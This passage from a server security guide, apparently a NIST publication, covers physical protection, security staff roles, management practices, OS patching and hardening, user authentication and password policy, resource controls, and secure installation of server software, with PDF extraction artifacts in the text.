http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf GUIDE TO GENERAL SERVER SECURITY Provision of a host-based firewall capability to restrict both incoming and outgoing traffic Support for strong authentication protocols and encryption algorithms In addition, organizations should consider the availability of trained, experienced staff to administer the server. Many organizations have learned the difficult lesson that a capable and experienced administrator for one type of operating environment is not automatically as effective for another. Many servers host sensitive information, and many others, such as public-facing Web servers, should be treated as sensitive because of the damage to the organization\xe2\x80\x99s reputation that could occur if the servers\xe2\x80\x99 integrity is compromised. In such cases, it is critical that the servers are located in secure physical environments. When planning the location of a server, the following issues should be considered: Are the appropriate physical security protection mechanisms in place for the server and its networking components (e.g., routers, switches)? Examples include\xe2\x80\x94 \xe2\x80\x93 Locks \xe2\x80\x93 Card reader access \xe2\x80\x93 Security guards \xe2\x80\x93 Physical intrusion detection systems (e.g., motion sensors, cameras). Are there appropriate environmental controls so that the necessary humidity and temperature are maintained? If high availability is required, are there redundant environmental controls? Is there a backup power source? For how long will it provide power? Is there appropriate fire containment equipment? Does it minimize damage to equipment that would otherwise not be impacted by the fire? If high availability is required, are there redundant network connections? (For Internet-facing servers, this generally means Internet connections from at least two different Internet service providers [ISP].) Is there another data center that can be used to host servers in the event of a catastrophe at the original data center? If the location is subject to known natural disasters, is it hardened against those disasters and/or is there a contingency site outside the potential disaster area? 3.2 Security Management Staff Because server security is tightly intertwined with the organization\xe2\x80\x99s general information system security posture, a number of IT and system security staff may be involved in server planning, implementation, and administration. This section provides a list of generic roles and identifies their responsibilities as they relate to server security. These roles are for the purpose of discussion and may vary by organization. 3-3 GUIDE TO GENERAL SERVER SECURITY 3.2.1 3.2.2 3.2.3 Chief Information Officer The Chief Information Officer (CIO) ensures that the organization\xe2\x80\x99s security posture is adequate. The CIO provides direction and advisory services for the protection of information systems for the entire organization. The CIO is responsible for the following activities associated with servers: Coordinating the development and maintenance of the organization\xe2\x80\x99s information security policies, standards, and procedures Coordinating the development and maintenance of the organization\xe2\x80\x99s change control and management procedures Ensuring the establishment of, and compliance with, consistent IT security policies for departments throughout the organization. Information Systems Security Program Managers The Information Systems Security Program Managers (ISSPM) oversee the implementation of and compliance with the standards, rules, and regulations specified in the organization\xe2\x80\x99s security policy. The ISSPMs are responsible for the following activities associated with servers: Ensuring that security procedures are developed and implemented Ensuring that security policies, standards, and requirements are followed Ensuring that all critical systems are identified and that contingency planning, disaster recovery plans, and continuity of operations plans exist for these critical systems Ensuring that critical systems are identified and scheduled for periodic security testing according to the security policy requirements of each respective system. Information Systems Security Officers Information Systems Security Officers (ISSO) are responsible for overseeing all aspects of information security within a specific organizational entity. They ensure that the organization\xe2\x80\x99s information security practices comply with organizational and departmental policies, standards, and procedures. ISSOs are responsible for the following activities associated with servers: Developing internal security standards and procedures for the servers and supporting network infrastructure Cooperating in the development and implementation of security tools, mechanisms, and mitigation techniques Maintaining standard configuration profiles for the servers and supporting network infrastructure controlled by the organization, including, but not limited to, OSs, firewalls, routers, and server applications Maintaining operational integrity of systems by conducting security tests and ensuring that designated IT professionals are conducting scheduled testing on critical systems. 3-4 GUIDE TO GENERAL SERVER SECURITY 3.2.4 Server, Network, and Security Administrators Server administrators are system architects responsible for the overall design, implementation, and maintenance of a server. Network administrators are responsible for the overall design, implementation, and maintenance of a network. Security administrators are dedicated to performing information security functions for servers and other hosts, as well as networks. Organizations that have a dedicated information security team usually have security administrators. On a daily basis, server, network, and security administrators contend with the security requirements of the specific systems for which they are responsible. Security issues and solutions can originate from either outside (e.g., security patches and fixes from the manufacturer or computer security incident response teams) or within the organization (e.g., the security office). The administrators are responsible for the following activities associated with servers: Installing and configuring systems in compliance with the organizational security policies and standard system and network configurations Maintaining systems in a secure manner, including frequent backups and timely application of patches Monitoring system integrity, protection levels, and security-related events Following up on detected security anomalies associated with their information system resources Conducting security tests as required. 3.3 Management Practices Appropriate management practices are critical to operating and maintaining a secure server. Security practices entail the identification of an organization\xe2\x80\x99s information system assets and the development, documentation, and implementation of policies, standards, procedures, and guidelines that ensure confidentiality, integrity, and availability of information system resources. To ensure the security of a server and the supporting network infrastructure, organizations should implement the following practices: Organizational Information System Security Policy\xe2\x80\x94A security policy should specify the basic information system security tenets and rules, and their intended internal purpose. The policy should also outline who in the organization is responsible for particular areas of information security (e.g., implementation, enforcement, audit, review). The policy must be enforced consistently throughout the organization to be effective. Generally, the CIO is responsible for drafting the organization\xe2\x80\x99s security policy. Configuration/Change Control and Management\xe2\x80\x94The process of controlling modification to a system\xe2\x80\x99s design, hardware, firmware, and software provides sufficient assurance that the system is protected against the introduction of an improper modification before, during, and after system implementation. Configuration control leads to consistency with the organization\xe2\x80\x99s information system security policy. Configuration control is traditionally overseen by a configuration control board that is the final authority on all proposed changes to an information system. If resources allow, consider the use of development, quality assurance, and/or test environments so that changes can be vetted and tested before deployment in production. 3-5 GUIDE TO GENERAL SERVER SECURITY Risk Assessment and Management\xe2\x80\x94Risk assessment is the process of analyzing and interpreting risk. It involves determining an assessment\xe2\x80\x99s scope and methodology, collecting and analyzing risk- related data, and interpreting the risk analysis results. Collecting and analyzing risk data requires identifying assets, threats, vulnerabilities, safeguards, consequences, and the probability of a successful attack. Risk management is the process of selecting and implementing controls to reduce risk to a level acceptable to the organization. Standardized Configurations\xe2\x80\x94Organizations should develop standardized secure configurations for widely used OSs and server software. This will provide recommendations to server and network administrators on how to configure their systems securely and ensure consistency and compliance with the organizational security policy. Because it only takes one insecurely configured host to compromise a network, organizations with a significant number of hosts are especially encouraged to apply this recommendation. Secure Programming Practices\xe2\x80\x94Organizations should adopt secure application development guidelines to ensure that they develop their applications for servers in a sufficiently secure manner. Security Awareness and Training\xe2\x80\x94A security training program is critical to the overall security posture of an organization. Making users and administrators aware of their security responsibilities and teaching the correct practices helps them change their behavior to conform to security best practices. Training also supports individual accountability, which is an important method for improving information system security. If the user community includes members of the general public, providing security awareness specifically targeting them might also be appropriate. Contingency, Continuity of Operations, and Disaster Recovery Planning\xe2\x80\x94Contingency plans, continuity of operations plans, and disaster recovery plans are established in advance to allow an organization or facility to maintain operations in the event of a disruption.8 Certification and Accreditation\xe2\x80\x94Certification in the context of information system security means that a system has been analyzed to determine how well it meets all of the security requirements of the organization. Accreditation occurs when the organization\xe2\x80\x99s management accepts that the system meets the organization\xe2\x80\x99s security requirements. 9 3.4 System Security Plan The objective of system security planning is to improve protection of information system resources.10 Plans that adequately protect information assets require managers and information owners\xe2\x80\x94directly affected by and interested in the information and/or processing capabilities\xe2\x80\x94to be convinced that their information assets are adequately protected from loss, misuse, unauthorized access or modification, unavailability, and undetected activities. The purpose of the system security plan is to provide an overview of the security and privacy requirements of the system and describe the controls in place or planned for meeting those requirements. The system security plan also delineates responsibilities and expected behavior of all individuals who access the system. The system security plan should be viewed as documentation of the structured process 8 For more information, see NIST SP 800-34, Contingency Planning Guide for Information Technology Systems (http://csrc.nist.gov/publications/PubsSPs.html). 9 For more information on certification and accreditation, see NIST SP 800-37, Federal Guidelines for the Security Certification and Accreditation of Information Technology Systems (http://csrc.nist.gov/publications/PubsSPs.html). 10 Material in this subsection is derived from NIST SP 800-18 Revision 1, Guide for Developing Security Plans for Federal Information Systems (http://csrc.nist.gov/publications/PubsSPs.html). 3-6 http://csrc.nist.gov/publications/PubsSPs.html http://csrc.nist.gov/publications/PubsSPs.html http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY of planning adequate, cost-effective security protection for a system. It should reflect input from various managers with responsibilities concerning the system, including information owners, the system owner, and the ISSPM. For Federal agencies, all information systems must be covered by a system security plan. Other organizations should strongly consider the completion of a system security plan for each of their systems as well. The information system owner11 is generally the party responsible for ensuring that the security plan is developed and maintained and that the system is deployed and operated according to the agreed- upon security requirements. In general, an effective system security plan should include the following: System Identification\xe2\x80\x94The first sections of the system security plan provide basic identifying information about the system. They contain general information such as the key points of contact for the system, the purpose of the system, the sensitivity level of the system, and the environment in which the system is deployed, including the network environment, the system\xe2\x80\x99s placement on the network, and the system\xe2\x80\x99s relationships with other systems. Controls\xe2\x80\x94This section of the plan describes the control measures (in place or planned) that are intended to meet the protection requirements of the information system. Controls fall into three general categories: \xe2\x80\x93 Management controls, which focus on the management of the computer security system and the management of risk for a system. \xe2\x80\x93 Operational controls, which are primarily implemented and executed by people (rather than systems). They often require technical or specialized expertise, and often rely upon management activities as well as technical controls. \xe2\x80\x93 Technical controls, which are security mechanisms that the computer system employs. The controls can provide automated protection from unauthorized access or misuse, facilitate detection of security violations, and support security requirements for applications and data. The implementation of technical controls, however, always requires significant operational considerations and should be consistent with the management of security within the organization.12 3.5 Human Resources Requirements The greatest challenge and expense in developing and securely maintaining a server is providing the necessary human resources to adequately perform the required functions. Many organizations fail to fully recognize the amount of expense and skills required to field a secure server. This failure often results in overworked employees and insecure systems. From the initial planning stages, organizations need to determine the necessary human resource requirements. Appropriate and sufficient human resources are 11 The information system owner is responsible for defining the system\xe2\x80\x99s operating parameters, authorized functions, and security requirements. The information owner for information stored within, processed by, or transmitted by a system may or may not be the same as the information system owner. In addition, a single system may use information from multiple information owners. 12 For more detail on management, operational, and technical controls, see NIST SP 800-53 Revision 2, Recommended Security Controls for Federal Information Systems, and NIST SP 800-100, Information Security Handbook: A Guide for Managers (http://csrc.nist.gov/publications/PubsSPs.html). 3-7 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY the single most important aspect of effective server security. Organizations should also consider the fact that, in general, technical solutions are not a substitute for skilled and experienced personnel. When considering the human resource implications of developing and deploying a server, organizations should consider the following: Required Personnel\xe2\x80\x94What types of personnel are required? Examples of possible positions are system administrators, server administrators, network administrators, and ISSOs. Required Skills\xe2\x80\x94What are the required skills to adequately plan, develop, and maintain the server in a secure manner? Examples include OS administration, network administration, and programming. Available Personnel\xe2\x80\x94What are the available human resources within the organization? In addition, what are their current skill sets and are they sufficient for supporting the server? Often, an organization discovers that its existing human resources are not sufficient and needs to consider the following options: \xe2\x80\x93 Train Current Staff\xe2\x80\x94If personnel are available but they do not have the requisite skills, the organization may choose to train the existing staff in the skills required. Although this is an excellent option, the organization should ensure that employees meet all prerequisites for training. \xe2\x80\x93 Acquire Additional Staff\xe2\x80\x94If not enough staff members are available or they do not have the requisite skills, it may be necessary to hire additional personnel or use external resources. Once the organization has staffed the project and the server is active, it will be necessary to ensure the number and skills of the personnel are still adequate. The threat and vulnerability levels of IT systems, including servers, are constantly changing, as is the technology. This means that what is adequate today may not be tomorrow, so staffing needs should be reassessed periodically and additional training and other skills-building activities conducted as needed. 3-8 GUIDE TO GENERAL SERVER SECURITY 4. Securing the Server Operating System Most commonly available servers operate on a general-purpose OS. Many security issues can be avoided if the OSs underlying the servers are configured appropriately. Because manufacturers are unaware of each organization\xe2\x80\x99s security needs, server administrators need to configure new servers to reflect their organizations\xe2\x80\x99 security requirements and reconfigure them as those requirements change. The practices recommended here are designed to help server administrators with server security configuration. Server administrators managing existing servers should confirm that their servers address the issues discussed. The techniques for securing different OSs vary greatly; therefore, this section includes the generic procedures common in securing most OSs. Security configuration guides and checklists for many OSs are publicly available; these documents typically contain recommendations for settings stronger than the default level of security, and they may also contain step-by-step instructions for securing servers.13 In addition, many organizations maintain their own guidelines specific to their requirements. Some automated tools also exist for securing OSs, and their use is recommended. After planning the installation and deployment of the OS, as described in Section 3, and installing the OS, the following basic steps are necessary to secure the OS: Patch and update the OS Harden and configure the OS to address security adequately Install and configure additional security controls, if needed Test the security of the OS to ensure that the previous steps adequately addressed all security issues. The combined result of these steps should be a reasonable level of protection for the server\xe2\x80\x99s OS. 4.1 Patch and Upgrade Operating System Once an OS is installed, applying needed patches or upgrades to correct for known vulnerabilities is essential. Any known vulnerabilities an OS has should be corrected before using it to host a server or otherwise exposing it to untrusted users. To adequately detect and correct these vulnerabilities, server administrators should do the following: Create, document, and implement a patching process.14 Identify vulnerabilities and applicable patches.15 Mitigate vulnerabilities temporarily if needed and if feasible (until patches are available, tested, and installed). Install permanent fixes (patches, upgrades, etc.) 13 Checklists and implementation guides for various operating systems and applications are available from NIST at http://checklists.nist.gov/. Also, see NIST SP 800-70, Security Configuration Checklists Program for IT Products, available at the same Web site, for general information about NIST\xe2\x80\x99s checklists program. 14 For more information, see NIST SP 800-40 Version 2.0, Creating a Patch and Vulnerability Management Program, which is available at http://csrc.nist.gov/publications/PubsSPs.html. A single patch management process can be put into place for both operating systems and applications (including server software). 15 To check for vulnerabilities in OSs, server software, and other applications, see the NIST National Vulnerability Database (NVD) at http://nvd.nist.gov/. 4-1 http://csrc.nist.gov/pcig/cig.html http://csrc.nist.gov/publications/PubsSPs.html http://nvd.nist.gov/ GUIDE TO GENERAL SERVER SECURITY Administrators should ensure that servers, particularly new ones, are adequately protected during the patching process. For example, a server that is not fully patched or not configured securely could be compromised by threats if it is openly accessible while it is being patched. When preparing new servers for deployment, administrators should do either of the following: Keep the servers disconnected from networks or connect them only to an isolated \xe2\x80\x9cbuild\xe2\x80\x9d network until all patches have been transferred to the servers through out-of-band means (e.g., CDs) and installed, and the other configuration steps listed in this section have been performed. Place the servers on a virtual local area network (VLAN)16 or other network segment that severely restricts what actions the hosts on it can perform and what communications can reach the hosts\xe2\x80\x94only allowing those events that are necessary for patching and configuring the hosts. Do not transfer the hosts to regular network segments until all the configuration steps listed in this section have been performed. Administrators should generally not apply patches to production servers without first testing them on another identically configured server because patches can inadvertently cause unexpected problems with proper server operation. Although administrators can configure servers to download patches automatically, the servers should not be configured to install them automatically so that they can first be tested. 4.2 Hardening and Securely Configuring the OS Administrators should perform the following steps to harden and securely configure a server OS: Remove unnecessary services, applications, and network protocols Configure OS user authentication Configure resource controls appropriately. These steps are discussed further in Sections 4.2.1 through 4.2.3. Also, for particularly high-security situations, administrators should consider configuring the OS to act as a bastion host. A bastion host has particularly strong security controls and is configured so as to offer the least functionality possible. The details of establishing a bastion host are necessarily OS-specific, so they are outside the scope of this publication. 4.2.1 Remove or Disable Unnecessary Services, Applications, and Network Protocols Ideally, a server should be on a dedicated, single-purpose host. When configuring the OS, remove all services, applications, and network protocols (e.g., IPv4, IPv6) that are not required, and disable any such unnecessary components that cannot be removed. If possible, install the minimal OS configuration and then add, remove, or disable services, applications, and network protocols as needed. Many uninstall scripts or programs are far from perfect in completely removing all components of a service, so it is better not to install unnecessary services. Common types of services and applications that should usually be removed if not required (or disabled if they cannot be removed) include the following: 16 VLANs can easily be misconfigured in ways that reduce or eliminate their effectiveness as a security control. Organizations planning to use VLANs should ensure that they are configured properly and that any configuration changes are carefully verified. 4-2 GUIDE TO GENERAL SERVER SECURITY File and printer sharing services (e.g., Windows Network Basic Input/Output System [NetBIOS] file and printer sharing, Network File System [NFS], FTP) Wireless networking services Remote control and remote access programs, particularly those that do not strongly encrypt their communications (e.g., Telnet)17 Directory services (e.g., Lightweight Directory Access Protocol [LDAP], Network Information System [NIS]) Web servers and services Email services (e.g., SMTP) Language compilers and libraries System development tools System and network management tools and utilities, including Simple Network Management Protocol (SNMP). Removing unnecessary services and applications is preferable to simply disabling them through configuration settings because attacks that attempt to alter settings and activate a disabled service cannot succeed when the functional components are completely removed. Disabled services could also be enabled inadvertently through human error. Removing or disabling unnecessary services enhances the security of a server in several ways:18 Other services cannot be compromised and used to attack the host or impair the services of the server. Each service added to a host increases the risk of compromise for that host because each service is another possible avenue of access for an attacker. Less is more secure in this case. Other services may have defects or may be incompatible with the server itself. By removing or disabling them, they should not affect the server and should potentially improve its availability. The host can be configured to better suit the requirements of the particular service. Different services might require different hardware and software configurations, which could lead to unnecessary vulnerabilities or negatively affect performance. By reducing services, the number of logs and log entries is reduced; therefore, detecting unexpected behavior becomes easier (see Section 6.1). Organizations should determine the services to be enabled on a server. Additional services that might be installed include web servers, database access protocols, file transfer protocols, and remote administration services. These services may be required in certain instances, but they may increase the risks to the server. Whether the risks outweigh the benefits is a decision for each organization to make. 17 If a remote control or remote access program is absolutely required and it does not strongly encrypt its communications, it should be tunneled over a protocol that provides encryption, such as secure shell (SSH) or Internet Protocol Security (IPsec). 18 Content derived from Julia Allen et al., Securing Network Servers, April 2000, http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf 4-3 http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf GUIDE TO GENERAL SERVER SECURITY 4.2.2 Configure OS User Authentication For servers, the authorized users who can configure the OS are limited to a small number of designated server administrators. The users who can access the server, however, may range from a few authorized employees to the entire Internet community. To enforce policy restrictions, if required, the server administrator should configure the OS to authenticate a prospective user by requiring proof that the user is authorized for such access. Even if a server allows unauthenticated access to most of its services, administrative and other types of specialized access should be limited to specific individuals and groups. Enabling authentication by the host computer involves configuring parts of the OS, firmware, and applications on the server, such as the software that implements a network service. In special situations, such as high-value/high-risk servers, organizations may also use authentication hardware, such as tokens or one-time password devices. Use of authentication mechanisms where authentication information is reusable (e.g., passwords) and transmitted in the clear over an untrusted network is strongly discouraged because the information can be intercepted and used by an attacker to masquerade as an authorized user. To ensure the appropriate user authentication is in place, take the following steps:19 Remove or Disable Unneeded Default Accounts\xe2\x80\x94The default configuration of the OS often includes guest accounts (with and without passwords), administrator or root level accounts, and accounts associated with local and network services. The names and passwords for those accounts are well known. Remove (whenever possible) or disable unnecessary accounts to eliminate their use by attackers, including guest accounts on computers containing sensitive information. For default accounts that need to be retained, including guest accounts, severely restrict access to the accounts, including changing the names (where possible and particularly for administrator or root level accounts) and passwords to be consistent with the organizational password policy. Default account names and passwords are commonly known in the attacker community. Disable Non-Interactive Accounts\xe2\x80\x94Disable accounts (and the associated passwords) that need to exist but do not require an interactive login. For Unix systems, disable the login shell or provide a login shell with NULL functionality (e.g., /bin/false). Create the User Groups\xe2\x80\x94Assign users to the appropriate groups. Then assign rights to the groups, as documented in the deployment plan. This approach is preferable to assigning rights to individual users, which becomes unwieldy with large numbers of users. Create the User Accounts\xe2\x80\x94The deployment plan identifies who will be authorized to use each computer and its services. Create only the necessary accounts. Permit the use of shared accounts only when no viable alternatives exist. Have ordinary user accounts for server administrators that are also users of the server. Configure Automated Time Synchronization\xe2\x80\x94Some authentication protocols, such as Kerberos, will not function if the time differential between the client host and the authenticating server is significant, so servers using such protocols should be configured to automatically synchronize system time with a reliable time server. Typically the time server is internal to the organization and uses the Network Time Protocol (NTP) for synchronization; publicly available NTP servers are also available on the Internet. 19 Content derived from Julia Allen et al., Securing Network Servers, April 2000, http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf 4-4 http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf GUIDE TO GENERAL SERVER SECURITY Check the Organization\xe2\x80\x99s Password Policy\xe2\x80\x94Set account passwords appropriately. Elements that may be addressed in a password policy include the following: \xe2\x80\x93 Length\xe2\x80\x94a minimum length for passwords. \xe2\x80\x93 Complexity\xe2\x80\x94the mix of characters required. An example is requiring passwords to contain uppercase letters, lowercase letters, and nonalphabetic characters, and to not contain \xe2\x80\x9cdictionary\xe2\x80\x9d words. \xe2\x80\x93 Aging\xe2\x80\x94how long a password may remain unchanged. Many policies require users and administrators to change their passwords periodically. In such cases, the frequency should be determined by the enforced length and complexity of the password, the sensitivity of the information protected, and the exposure level of passwords. If aging is required, consideration should be given to enforcing a minimum aging duration to prevent users from rapidly cycling through password changes to clear out their password history and bypass reuse restrictions. \xe2\x80\x93 Reuse\xe2\x80\x94whether a password may be reused. Some users try to defeat a password aging requirement by changing the password to one they have used previously. If reuse is prohibited by policy, it is beneficial, if possible, to ensure that users cannot change their passwords by merely appending characters to the beginning or end of their original passwords (e.g., original password was \xe2\x80\x9cmysecret\xe2\x80\x9d and is changed to \xe2\x80\x9c1mysecret\xe2\x80\x9d or \xe2\x80\x9cmysecret1\xe2\x80\x9d). \xe2\x80\x93 Authority\xe2\x80\x94who is allowed to change or reset passwords and what sort of proof is required before initiating any changes. \xe2\x80\x93 Password Security\xe2\x80\x94how passwords should be secured, such as not storing passwords unencrypted on the server, and requiring administrators to use different passwords for their server administration accounts than their other administration accounts. Configure Computers to Prevent Password Guessing\xe2\x80\x94It is relatively easy for an unauthorized user to try to gain access to a computer by using automated software tools that attempt all passwords. If the OS provides the capability, configure it to increase the period between login attempts with each unsuccessful attempt. If that is not possible, the alternative is to deny login after a limited number of failed attempts (e.g., three). Typically, the account is \xe2\x80\x9clocked out\xe2\x80\x9d for a period of time (such as 30 minutes) or until a user with appropriate authority reactivates it. The choice to deny login is another situation that requires the server administrator to make a decision that balances security and convenience. Implementing this recommendation can help prevent some kinds of attacks, but it can also allow an attacker to use failed login attempts to prevent user access, resulting in a DoS condition. The risk of DoS from account lockout is much greater if the server is externally accessible and an attacker knows or can surmise a pattern to your naming convention that allows them to guess account names. Failed network login attempts should not prevent an authorized user or administrator from logging in at the console. Note that all failed login attempts, whether via the network or console, should be logged. If the server will not be administered remotely, disable the ability for the administrator or root level accounts to log in from the network. Install and Configure Other Security Mechanisms to Strengthen Authentication\xe2\x80\x94If the information on the server requires it, consider using other authentication mechanisms such as biometrics, smart cards, client/server certificates, or one-time password systems. They can be more 4-5 GUIDE TO GENERAL SERVER SECURITY expensive and difficult to implement, but they may be justified in some circumstances. When such authentication mechanisms and devices are used, the organization\xe2\x80\x99s policy should be changed accordingly, if necessary. Some organizational policies may already require the use of strong authentication mechanisms. As mentioned earlier, attackers using network sniffers can easily capture passwords passed across a network in clear text. However, passwords are economical and appropriate if properly protected while in transit. Organizations should implement authentication and encryption technologies, such as Secure Sockets Layer (SSL)/Transport Layer Security (TLS), Secure Shell (SSH), or virtual private networks using IPsec or SSL/TLS, to protect passwords during transmission over untrusted networks. Requiring server authentication to be used with encryption technologies reduces the likelihood of successful man-in- the-middle and spoofing attacks. 4.2.3 Configure Resource Controls Appropriately All commonly used server OSs provide the capability to specify access privileges individually for files, directories, devices, and other computational resources. By carefully setting access controls and denying personnel unauthorized access, the server administrator can reduce intentional and unintentional security breaches. For example, denying read access to files and directories helps to protect confidentiality of information, and denying unnecessary write (modify) access can help maintain the integrity of information. Limiting the execution privilege of most system-related tools to authorized system administrators can prevent users from making configuration changes that could reduce security. It also can restrict the attacker\xe2\x80\x99s ability to use those tools to attack the server or other hosts on the network. Auditing should also be enabled as appropriate to monitor attempts to access protected resources. In some cases, administrators configure the OS so as to provide an isolated virtual environment that the server software will be run within. This environment, sometimes called a sandbox or a jail, presents a limited set of real or virtual resources that the server software or its users can access. The OS is configured so that server processes and user actions cannot \xe2\x80\x9cbreak out\xe2\x80\x9d of the environment. A common example of an isolated virtual environment is the use of the Unix chroot command to contain anonymous FTP activity. Even if a malicious user exploited a vulnerability in the FTP service, the user would only gain access to the virtual environment and not to the underlying OS. Details on creating sandbox and jail environments are OS and server-specific, and therefore are outside the scope of this publication. 4.3 Install and Configure Additional Security Controls OSs often do not include all of the security controls necessary to secure the OS, services, and applications adequately. In such cases, administrators need to select, install, configure, and maintain additional software to provide the missing controls. Commonly needed controls include the following: Anti-malware software, such as antivirus software, anti-spyware software, and rootkit detectors, to protect the local OS from malware and to detect and eradicate any infections that occur.20 Examples of when anti-malware software would be helpful include a system administrator bringing infected media to the server and a network service worm contacting the server and infecting it. Host-based intrusion detection and prevention software (IDPS), to detect attacks performed against the server, including DoS attacks. For example, one form of host-based IDPS, file integrity checking software, can identify changes to critical system files. 20 Additional information on anti-malware software is available from NIST SP 800-83, Guide to Malware Incident Prevention and Handling (http://csrc.nist.gov/publications/PubsSPs.html). 4-6 http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY Host-based firewalls, to protect the server from unauthorized access.21 Patch management or vulnerability management software to ensure that vulnerabilities are addressed promptly. Patch management and vulnerability management software can be used only to apply patches or also to identify new vulnerabilities in the server\xe2\x80\x99s OSs, services, and applications. Some servers also use disk encryption technologies to protect their stored data from attackers who gain physical access to the servers. Disk encryption technologies are built into some operating systems, and third-party disk encryption products are also available. When planning security controls, server administrators should consider the resources that the security controls will consume. A server\xe2\x80\x99s performance could degrade if it does not have enough memory and processing capacity for the controls. Server administrators should also consider any network-based security controls, such as network firewalls and intrusion detection systems, that could provide additional protection for the server. If host-based security controls are too resource-intensive for a server or are otherwise infeasible, server administrators may need to compensate by using additional network-based security controls to protect the server\xe2\x80\x99s OS, services, and applications. For many servers, network-based security controls are used in addition to host-based security controls to provide additional layers of security. 4.4 Security Testing the Operating System Periodic security testing of the OS is a vital way to identify vulnerabilities and to ensure that the existing security precautions are effective and that security controls are configured properly (for example, the required cryptographic algorithms are in use to protect network communications). Common methods for testing OSs include vulnerability scanning and penetration testing. Vulnerability scanning usually entails using an automated vulnerability scanner to scan a host or group of hosts on a network for application, network, and OS vulnerabilities. Penetration testing is a testing process designed to compromise a network using the tools and methodologies of an attacker. It involves iteratively identifying and exploiting the weakest areas of the network to gain access to the remainder of the network, eventually compromising the overall security of the network. Vulnerability scanning should be conducted periodically, at least weekly to monthly, and penetration testing should be conducted at least annually. Because both of these testing techniques are also applicable to testing the server application, they are discussed in detail in Section 6.4.22 Factors to be considered when deciding whether to test the production server or a similarly configured non-production server include the following: The possible impact to the production server. For example, if a certain test technique is likely to cause a denial of service, then that technique should probably be used against the non-production server. The presence of sensitive personally identifiable information (PII). If testing could expose sensitive PII, such as Social Security Numbers (SSN) or credit card information, to people without authorization to see it, then organizations should consider performing the testing on a non-production server that holds a false version of the PII (e.g., test data instead of actual sensitive PII). 21 For more information on firewalls, see NIST SP 800-41 Revision 1 (Draft), Guidelines on Firewalls and Firewall Policy (http://csrc.nist.gov/publications/PubsSPs.html). 22 For information on other testing techniques, see NIST SP 800-115 (Draft), Technical Guide to Information Security Testing (http://csrc.nist.gov/publications/PubsSPs.html). 4-7 http://csrc.nist.gov/publications/PubsSPs.html http://csrc.nist.gov/publications/PubsSPs.html GUIDE TO GENERAL SERVER SECURITY How similarly the production and non-production servers can be configured. In practice, there are usually inconsistencies between the test and production environments, which can result in missed vulnerabilities if the non-production servers are used. 4-8 GUIDE TO GENERAL SERVER SECURITY 5. Securing the Server Software Once the OS has been installed and secured, as described in Section 4, the next step is to install and secure the chosen server software, which is described in this section. Before starting this process, read the server software documentation carefully and understand the various options available during the installation process. Also, be sure to visit the server software manufacturer\xe2\x80\x99s Web site or a vulnerability database Web site, such as the National Vulnerability Database (NVD),23 to determine whether there are known vulnerabilities and related patches available that should be installed or configured as part of the setup process. Only after these preliminary steps are accomplished should the installation be started. Note that this section discusses only generic installation and configuration procedures; specific directions for particular servers are available from server manufacturers and from security checklist repositories.24 A partially configured and/or patched server should not be exposed to external networks (e.g., the Internet) or external users. In addition, internal network access should be as limited as possible until all software is installed, patched, and configured securely. Insecure servers can be compromised in a matter of minutes after being placed on the Internet. While it is ideal to fully harden the platform before placing it on the network, it is not always feasible. For example, some application development tool combinations cannot be installed, configured, and tested on top of a pre-hardened OS and Web server configuration. In such situations, stepwise or incremental hardening is a viable option to consider, with full validation of complete hardening occurring at production deployment. 5.1 Securely Installing the Server Software In many respects, the secure installation and configuration of the server software mirrors the OS process discussed in Section 4. The overarching principle, as before, is to install only the services required for the server and to eliminate any known vulnerabilities through patches or upgrades. Any unnecessary applications, services, or scripts that are installed should be removed immediately once the installation process is complete. During the installation of the server software, the following steps should be performed: Install the server software either on a dedicated host or on a dedicated guest OS if virtualization is being employed. Apply any patches or upgrades to correct for known vulnerabilities in the server software. Create a dedicated physical disk or logical partition (separate from OS and server application) for server data, if applicable. Remove or disable all services installed by the server application but not required (e.g., gopher, FTP, HTTP, remote administration). Remove or disable all unneeded default user accounts created by the server installation. Remove all manufacturers\xe2\x80\x99 documentation from the server. Remove all example or test files from the server, including sample content, scripts, and executable code. 23 NVD is available at http://nvd.nist.gov/. 24 NIST hosts a security checklist repository at http://checklists.nist.gov/. 5-1 http://nvd.nist.gov/ http://checklists.nist.gov/ GUIDE TO GENERAL SERVER SECURITY Remove all unneeded compilers. Apply the appropriate security template or hardening script to the server. For external-facing servers, reconfigure service banners not to report the server and OS type and version, if possible.25 Configure warning banners for all services that support such banners.26 Configure each network service to listen for client connections on only the necessary TCP and UDP ports, if possible.27 Organizations should consider installing the server with non-standard directory names, directory locations, and filenames if possible. Many server attack tools and worms targeting servers only look for files and directories in their default locations. While this will not stop determined attackers, it will force them to work harder to compromise the server, and it also increases the likelihood of attack detection because of the failed attempts to access the default filenames and directories and the additional time needed to perform an attack. 5.2 Configuring Access Controls Most server OSs provide the capability to specify access privileges individually for files, devices, and other computational resources on that host. Any information that the server can access using these controls can potentially be distributed to all users accessing the server. The server software is likely to include mechanisms to provide additional file, device, and resource access controls specific to its operation. It is important to set identical permissions for both the OS and server application; otherwise, too much or too little access may be granted to users. Server administrators should consider how best to configure access controls to protect information stored on servers from two perspectives: Limit the access of the server application to a subset of computational resources. Limit the access of users through additional access controls enforced by the server, where more detailed levels of access control are required. The proper setting of access controls can help prevent the disclosure of sensitive or restricted information that is not intended for public dissemination. In addition, access controls can be used to limit resource use in the event of a DoS attack against the server. Similarly, access controls can enforce separation of duty by ensuring server logs cannot be modified by server administrators and potentially ensure that the server process is only allowed to append to the log files. Typical files to which access should be controlled are as follows: Application software and configuration files Files related directly to security mechanisms: 25 This deters novice attackers and some forms of malware, but it will not deter more skilled attackers from identifying the server and OS type. 26 If the organization does not already have approved standard warning banner text, work with the organization\xe2\x80\x99s legal counsel to develop suitable banner text. 27 Content derived from Julia Allen et al., Securing Network Servers, April 2000, http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf 5-2 http://www.sei.cmu.edu/pub/documents/sims/pdf/sim010.pdf GUIDE TO GENERAL SERVER SECURITY \xe2\x80\x93 Password hash files and other files used in authentication \xe2\x80\x93 Files containing authorization information used in controlling access \xe2\x80\x93 Cryptographic key material used in confidentiality, integrity, and non-repudiation services Server log and system audit files System software and configuration files 